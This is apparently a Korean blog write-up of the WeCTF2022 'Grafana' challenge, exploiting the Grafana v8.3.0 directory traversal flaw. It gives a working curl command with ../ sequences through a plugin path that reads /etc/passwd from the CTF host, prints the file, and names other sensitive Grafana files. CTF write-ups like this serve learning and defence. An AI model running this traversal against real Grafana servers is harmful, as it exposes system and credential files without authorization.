티스토리 뷰

보안/CTF

[WeCTF2022] Grafana Writeup(문제풀이)

돔돔이부하 2022. 6. 15. 22:03
728x90
반응형
Grafana
It looks safe, does it? After all it has a fancy UI so it must be safe.

Target: http://grafana.ctf.so:4001
Flag: /tmp/flag

easy / 100 solves / 16 pts
 

문제 개요

Grafana v8.3.0 Directory Traversal

https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGRAFANAGRAFANAPKGAPI-2312869

 

Snyk Vulnerability Database | Snyk

Snyk Vulnerability Database

security.snyk.io

 

문제 풀이

사실 이 문제는 username 과 password 를 알 필요 없는 문제였습니다. 별도의 사용자 인증 없이 바로 취약점이 실행 가능한데요.

 

취약한 부분은 /public/plugins/<plugin_name>/ 그 이후 부분에 Directory Travesral 이 가능하다는 점이었습니다.

C:\Users\Domdomi>curl --path-as-is http://grafana.ctf.so:4001/public/plugins/alertlist/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

 

/etc/passwd 말고도 grafana 서비스 자체의 중요 파일들로는 /var/lib/grafana/grafana.db<grafana>/conf/defaults.ini 등이 있다고 하네요. 

 

 

문제 풀이 자체는 /tmp/flag 파일의 내용만 읽어오면 됐기에 해당 파일의 내용을 읽어옴으로써 문제를 풀었습니다!

 

 

728x90
반응형
댓글